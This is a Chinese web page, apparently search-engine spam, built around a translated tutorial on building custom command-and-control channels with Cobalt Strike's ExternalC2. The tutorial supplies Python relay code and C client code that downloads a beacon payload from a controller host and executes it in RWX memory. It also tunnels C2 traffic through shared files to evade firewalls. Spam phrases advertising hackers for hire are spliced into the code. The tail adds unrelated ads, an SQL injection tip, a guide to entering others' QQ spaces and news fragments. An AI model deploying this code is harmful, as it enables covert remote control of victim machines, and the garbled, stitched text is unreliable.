大户追款的qq号多少钱-一起探索Cobalt Strike的ExternalC2架构
很多测试工程师都了解,有时想如期完成C2通讯是十分受尽折磨的一件事情。伴随着出站服务器防火墙标准及其过程限定体制的健全,反弹式shell及其反弹式HTTP C2安全通道的日子早已一去不复返。
行吧,或许我的叙述稍微浮夸了一点,但如今态势确实沒有那麼开朗了。因而我想找寻完成C2通讯的别的可行方式,最终我找到了Cobalt Strike的ExternalC2架构。
求黑客技术的联系 *** nbsp;
二、ExternalC2
ExternalC2是Cobalt Strike导入的一种标准(或是架构), *** 黑客能够运用这一作用扩展C2通讯方式,而不拘泥于默认设置出示的HTTP(S)/DNS/ *** B安全通道。大伙儿能够参照这里免费下载详细的标准表明。
简单点来说,客户能够应用这一架构来开发设计各种各样部件,包含以下部件:
1、第三方操纵端(Controller):承担联接Cobalt Strike TeamServer,而且可以求黑客技术的联系 *** 应用自定的C2安全通道与总体目标服务器上的第三方手机客户端(Client)通讯。
2、第三方手机客户端(Client):应用自定C2安全通道与第三方Controller通讯,将指令分享至 *** B Beacon。
3、 *** B Beacon:在受害人服务器上实行的规范beacon。
从CS出示的官方网文本文档中,我们可以见到以下平面图:
从图中得知,大家的自定C2安全通道两边各自为第三方Controller及其第三方Client,这两个人物角色全是我们可以产品研发及其操纵的人物角色。
在鼓足干劲进到主题以前,大家必须了解怎样与Team Server的ExternalC2插口互动。
更先,大家必须让Cobalt Strike起动ExternalC2。我们可以应用externalc2_求黑客技术的联系 *** start涵数,传到端口号主要参数就可以。一旦ExternalC2服务项目成功起动并一切正常运作,大家必须应用自定的协议书开展通讯。
这一协议书实际上比较简单直接,由4字节的长短字段名(低字节序)及其一个数据信息块所构成,以下所显示:
刚开始通讯时,第三方Controller与TeamServer建连,随后推送一些选择项,如:
1、arch:待应用的beacon的构架(x86或x64)。
2、pipename:用于与beacon通讯的管路(pipe)的名字。
3、block:TeamServer各每日任务中间的堵塞時间(以ms为企业)。
全部选择项推送结束后,Controller会推送一条 go命令。这条命令能够起动ExternalC2通讯,形成并推送beacon。Controller接着会将这一 *** B 求黑客技术的联系 *** beacon荷载发送给Client,后面一种必须形成 *** B beacon。
一旦在受害人服务器上形成了 *** B beacon,大家就必须创建联接来传送指令。我们可以应用命名管道进行这一每日任务,而且Client与 *** B Beacon所应用的通讯协议与Client及Controller中间的协议书完全一致,也是4字节的长短字段名(低字节序)再紧跟一段数据信息。
基础理论层面就这样,接下去我们可以举一个经典案例,在互联网中分享通讯数据信息。
<求 *** 黑客的联系方式p>nbsp;
三、经典案例
这一实例中,我们在服务器端应用Python来完成第三方Controller作用,在手机客户端应用C来完成第三方Client作用。
更先,应用以下句子,让Cobalt Strike开启ExternalC2:
start the External C2 server and bind to 0.0.0.0:2222
externalc2_start(quot;0.0.0求黑客技术的联系 *** .0quot;, 2222);
nbsp;
该句子实行结束后,ExternalC2会在0.0.0.0:2222监视要求。
如今ExternalC2早已起动并处在运作情况,我们可以来搭建自身的Controller。
更先,联接至TeamServer的ExternalC2插口:
_socketTS socket.socket(socket.AF_INET, socket.SOCK_STREAM, 求黑客技术的联系 *** socket.IPPROTO_IP)
_socketTS.connect((quot;127.0.0.1quot;, 2222))
nbsp;
联接创建取得成功后,大家必须推送选择项信息内容。我们可以搭建一些輔助涵数,测算4字节长短字段名值,那样就不用每一次手动式测算这一值:
def encodeFrame(data):
return struct.pack(quot;
nbsp;
求黑客技术的联系 ***
def sendToTS(data):
_socketTS.sendall(encodeFrame(data))
nbsp;
接下去大家就可以应用这种輔助涵数来推送选择项:
Send out config options
sendToTS(quot;archx86quot;)
sendToTS(ldquo;pipenamexpntestquot;)
求黑客技术的联系 ***
sendToTS(quot;block500quot;)
sendToTS(quot;goquot;)
nbsp;
选择项推送结束后,Cobalt Strike就了解大家必须一个x86 *** B Beacon。除此之外,大家还必须恰当接纳数据信息,能够再建立一些輔助涵数,承担报文格式的编解码工作中,那样就无需每一次都去手动式编解码:
def decodeFrame(data):
len struct.求黑客技术的联系 *** unpack(quot;
body data[4:]
return (len, body)
nbsp;
def recvFromTS():
data quot;quot;
_len _socketTS.recv(4)
l struct.unpack(quot;
while len(data) lt; l:
求黑客技术的联系 *** data _socketTS.recv(l - len(data))
return data
nbsp;
那样大家就可以应用以下句子接受原始记录:
data recvFromTS()
nbsp;
接下去大家必须让第三方Client应用大家挑选的C2协议书与大家联接。这一事例中,大家的C2安全通道协议书应用的是同样的4字节的长短字段名数据文件文件格式。因而,大家必须建立一个socket,求黑客技术的联系 *** 便捷第三方Client联接回来:
_socketBeacon socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketBeacon.bind((quot;0.0.0.0quot;, 8081))
_socketBeacon.listen(1)
_socketClient 求黑客技术的联系 *** _socketBeacon.accept()[0]
nbsp;
接到联接后,大家进到循环系统收取和发送解决步骤,接纳来源于受害人服务器的数据信息,将数据信息分享至Cobalt Strike,随后接纳Cobalt Strike回到的数据信息,将其分享至受害人服务器:
while(True):
print quot;Sending d bytes to beaconquot; len(data)
sendToBeacon(data)
nbsp;
data 求黑客技术的联系 *** recvFromBeacon()
print quot;Received d bytes from beaconquot; len(data)
nbsp;
print quot;Sending d bytes to TSquot; len(data)
sendToTS(data)
nbsp;
data recvFromTS(求黑客技术的联系 *** )
print quot;Received d bytes from TSquot; len(data)
nbsp;
请参照这里获得详细的编码。
Controller已结构结束,如今大家必须建立第三方Client。为了更好地建立起來便捷一些,我们可以应用 win32及其C来进行这一每日任务,那样就可以较便捷地应用Windows的原生态API。還是先讨论一下怎样建立輔助涵数,更先大家必须联接到第三方Controller,可求黑客技术的联系 *** 以应用WinSock2建立与Controller的TCP联接:
// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char addr, WORD port){
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN 求黑客技术的联系 *** sin;
WSAStartup(0202, amp;wsd);
nbsp;
memset(amp;sin, 0, sizeof(sin));
sin.sin_family AF_INET;
sin.sin_port htons(port);
sin.sin_addr.S_un.S_addr inet_addr(addr);
nbsp;
sd 求黑客技术的联系 *** socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR)amp;sin, sizeof(sin));
nbsp;
return sd;
}
nbsp;
然后我们需要接收数据。这个过程与Python代码中的流程类似,可以通过长度字段的值来知道需要接收的数据长度:
// Receives data from 求 *** 黑客的联系方式 our C2 controller to be relayed to the injected beacon
char recvData(SOCKET sd, DWORD len) {
char buffer;
DWORD bytesReceived 0, totalLen 0;
nbsp;
len 0;
nbsp;
recv(sd, (char 求 *** 黑客的联系方式 )len, 4, 0);
buffer (char )malloc(len);
nbsp;
if (buffer NULL)
return NULL;
nbsp;
while (totalLen lt; len) {
bytesReceived recv(sd, buffer + totalLen, len - totalLen, 0)求 *** 黑客的联系方式;
totalLen + bytesReceived;
}
return buffer;
}
nbsp;
与之前类似,我们需要将数据通过C2通道返回给Controller:
// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET 求 *** 黑客的联系方式 sd, const char data, DWORD len) {
char buffer (char )malloc(len + 4);
if (buffer NULL):
return;
nbsp;
DWORD bytesWritten 0, totalLen 0;
nbsp;
(DWORD )buffer 求 *** 黑客的联系方式 len;
memcpy(buffer + 4, data, len);
nbsp;
while (totalLen lt; len + 4) {
bytesWritten send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen + bytesWritten;
}
free(buffer);
求 *** 黑客的联系方式 }
nbsp;
现在我们已经可以与Controller通信,接下来之一要务就是接收beacon载荷。载荷为x86或者x64载荷(具体架构由Controller发送给Cobalt Strike的选项所决定),在执行之前需要复制到内存中。比如,我们可以使用如下语句接收beacon载荷:
// Create a connection back to our C2 controller
SOCKET c2socket 求 *** 黑客的联系方式 createC2Socket(quot;192.168.1.65quot;, 8081);
payloadData recvData(c2socket, amp;payloadLen);
nbsp;
在这个案例中,我们可以使用Win32的VirtualAlloc函数来分配一段可执行的内存空间,使用CreateThread来执行代码:
HANDLE threadHandle;
DWORD 求 *** 黑客的联系方式 threadId 0;
nbsp;
char alloc (char )VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EECUTE_READWRITE);
if (alloc NULL)
return;
nbsp;
memcpy(alloc, payload, len);
nbsp;
threadHandle 求 *** 黑客的联系方式 CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, amp;threadId);
nbsp;
一旦 *** B Beacon启动并处于运行状态,我们需要连接到beacon的命名管道,因此我们不断尝试连接至我们的\.pipexpntest管道(请注意:前面我们已经通过选项信息向Cobalt Strike传递了管道名称, *** B Beacon会使用这个名称来接收命令求 *** 黑客的联系方式):
// Loop until the pipe is up and ready to use
while (beaconPipe INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe 求 *** 黑客的联系方式 connectBeaconPipe(quot;\\.\pipe\xpntestquot;);
}
nbsp;
连接成功后,我们可以进入数据收发循环处理流程:
while (true) {
// Start the pipe dance
payloadData recvFromBeacon(beaconPipe, amp;payloadLen);
if (payloadLen 0) break;
<求 *** 黑客的联系方式p>nbsp;
sendData(c2socket, payloadData, payloadLen);
free(payloadData);
nbsp;
payloadData recvData(c2socket, amp;payloadLen);
if (payloadLen 0) break;
nbsp;
sendToBeacon(beaconPipe, 求 *** 黑客的联系方式 payloadData, payloadLen);
free(payloadData);
}
nbsp;
基本步骤就这样,我们已经了解了创建ExternalC2服务的基本要素,大家可以参考此处获取完整的Client代码。
现在我们可以来看看更加有趣的东西。
nbsp;
四、通过文件传输C2数据
先回顾下创建自定义C2协议中我们需要控制哪些求 *** 黑客的联系方式元素:
从上图可知,我们需要重点关注第三方Controller以及Client之间传输的数据。还是回到之前那个例子,现在我们需要将这个过程变得更加有趣,那就是通过文件读写操作来传输数据。
为什么要费尽心思这么做呢当我们身处Windows域环境中,所控制的主机只有非常有限的外连渠道(比如只能访问文件共享),这时候就需要用到这种 *** 。当某台主机(Internet 求 *** 黑客的联系方式 Connected Host)既能访问我们的C2服务器,也能通过 *** B文件共享方式与受害主机建连时,我们可以将C2数据写入共享的某个文件,然后再穿过防火墙读取这些数据,这样就能运行我们的Cobalt Strike beacon。
整个流程如下所示:
上图中我们引入了一个附加的元素,可以将数据封装到文件中进行读写,并且也可以与第三方Controller通信。
与前面类似,这里Controller与ldquo;Internet Connected 求 *** 黑客的联系方式 Hostrdquo;同样使用长度字段为4字节的协议来通信,因此我们不需要修改已有的Python版的Controller。
我们需要做的是将前面的Client分割成两个部分。之一部分在ldquo;Internet Connected Hostrdquo;上运行,接收Controller发送的数据,将其写入某个文件中。第二部分在ldquo;Restricted Hostrdquo;(受限主机)上运行,读取文件中的数据,生成 *** B 求 *** 黑客的联系方式 Beacon,并将数据传递给这个beacon。
前面介绍过的部分这里就不再赘述了,我来介绍下实现文件传输的一种 *** 。
首先,我们需要创建承担通信功能的文件。这里我们可以使用CreateFileA函数,但需要确保使用FILE_SHARE_READ以及FILE_SHARE_WRITE选项。这样通道两端的Client就能同时读取并写入这个文件:
HANDLE openC2FileServer(const char filepath) {
HANDLE handle;
nbsp;
handle CreateFileA(filepath, 求 *** 黑客的联系方式 GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (handle INVALID_HANDLE_VALUE)
printf(quot;Error opening file: xnquot;, GetLastError());
求 *** 黑客的联系方式
return handle;
}
nbsp;
接下来,我们需要将C2数据序列化封装到文件中,同时指定2个Client中哪个Client需要在什么时候处理数据。
我们可以使用一个简单的头部结构来完成这个任务,如下所示:
struct file_c2_header {
DWORD id;
DWORD 求 *** 黑客的联系方式 len;
};
nbsp;
头部中的id字段可以充当信号功能,我们根据这个字段了解哪个Client需要读取或写入数据。
再引入两个文件读取及写入函数,如下所示:
void writeC2File(HANDLE c2File, const char data, DWORD len, int id) {
char fileBytes NULL;
DWORD bytesWritten 求 *** 黑客的联系方式 0;
nbsp;
fileBytes (char )malloc(8 + len);
if (fileBytes NULL)
return;
nbsp;
// Add our file header
(DWORD )fileBytes id;
(DWORD )(fileBytes+4) len;
nbsp;
memcpy(fileBytes 求 *** 黑客的联系方式 + 8, data, len);
nbsp;
// Make sure we are at the beginning of the file
SetFilePointer(c2File, 0, 0, FILE_BEGIN);
nbsp;
// Write our C2 data in
WriteFile(c2File, fileBytes, 8 + len, 求 *** 黑客的联系方式 amp;bytesWritten, NULL);
nbsp;
printf(quot;[] Wrote d bytesnquot;, bytesWritten);
}
nbsp;
char readC2File(HANDLE c2File, DWORD len, int expect) {
char header[8];
DWORD bytesRead 求 *** 黑客的联系方式 0;
char fileBytes NULL;
nbsp;
memset(header, FF, sizeof(header));
nbsp;
// Poll until we have our expected id in the header
while ((DWORD )header ! expect) {
SetFilePointer(c2File, 求 *** 黑客的联系方式 0, 0, FILE_BEGIN);
ReadFile(c2File, header, 8, amp;bytesRead, NULL);
Sleep(100);
}
nbsp;
// Read out the expected length from the header
len (DWORD )(header + 4);
fileBytes 求 *** 黑客的联系方式 (char )malloc(len);
if (fileBytes NULL)
return NULL;
nbsp;
// Finally, read out our C2 data
ReadFile(c2File, fileBytes, len, amp;bytesRead, NULL);
printf(quot;[] Read d 求 *** 黑客的联系方式 bytesnquot;, bytesRead);
return 求 *** 黑客的联系方式 fileBytes;
}
nbsp;
上述代码中,我们将头部信息写入文件中,然后根据这个信息相应地读取或写入C2数据。
主要工作就是这样,接下来我们需要实现接收数据/写入数据/读取数据/发送数据循环逻辑,这样就能通过文件传输实现C2数据通信。
大家可以访问此处获取完整的Controller代码,演示视频如下所示:
http://v.youku.com/v_show/id_MzUwNzMxOTIyNA.html
首先不必太过慌张,但仍需要多加小心,并给出了以下的处理建议。1.基于安全的考虑,更好对涉及到的密码、支付方式等进行修改。2.为确保安全,用户也。大户追款的qq号是多少
黑客技术追款夫人你马甲又掉了。是程家太子爷!男主叫程隽!女主叫秦苒!
大户追款的qq号是多少简单讲是“DNS”劫持,也就是你上网后的所有访问都是通过非法的DNS服务器去解求 *** 黑客的联系方式析,你的所有上网信息包括账号和密码都会。
蜥蜴小组的受害者包括许多具有高知名度的网站,例如马来西亚航空公司网站,用户被重定向到一个显示了逗404-飞机没找到地的页面。而另一受害者Facebook则否认。
会,假如被抓到就是触犯刑法,会被判刑的.虽然很多人逍遥法院,但是点背的时候,就完了~抓机啊`我送你几个啊~我有4台服务器呢挂马啊~~要不就用3389扫弱口令我的服务器就是这么弄的要不就欺骗安装楼下的你是不是就会。大户追款的qq号是多少
带—玩—8求 *** 黑客的联系方式;9;4接着4;8;8;;q;q;—稳—赢——高楼当此夜,叹息未应闲。
大户追款的qq号是多少判断注入一般是加'然后用and11或者and12来判断真假也可以用or11or12判断真假的方式很灵活。国内的 *** 很死。建议多看点。
跟着经济程度的飞速成长,餐饮行业的成长也是不绝的与时俱进。公共加盟商创业者纷纷看好餐饮行业的成长形势,因此宽大的加盟商创业者密切的存眷餐饮行业市场上的美食产物成长生怕错失好时机错失好项目标加盟,好品牌...
连接操纵层面,无线路由器针对插口的规定包含:()。 A、串口通信连接。 B、局域网络方法连接。 C、Internet方法连接。 D、VPN连接。 无论在中国還是海外,既要反映我们中国人维护保养国...
怎样进入别人设了权限的QQ空间 1、进入加密的QQ空间方法一: 需有两个QQ号码。如果想进入加密qq空间,我们可以把我们的第一个QQ号码的空间加上密码。然后用第二个QQ号码访问第一个QQ号码的加密空间...
据爆料,六小龄童对于“被死亡”一事近日已经报案,生于1959年的六小龄童今年57岁,按说也不算是高龄,但是关于他死亡的假新闻几乎就没断过,这是为何? 六小龄童如今健在并未死亡 六小龄童老家是浙...
查询别人的详细信息和位置,查询某人的信息是黑客的业务之一,在信息社会下,我们该如何的保护自己的隐私不被盗取,看了黑客的这些查询信息的不良行为你就知道其...
快到年底了,很多人可能已经计划着买辆车了,无论是上下班,还是逢年过节出行,汽车是很多家庭的必备品。不过现在大部分年轻人都有房贷压力,想拥有一辆自己的车,按揭贷款就成为了目前主流的购车方式。 如果你是...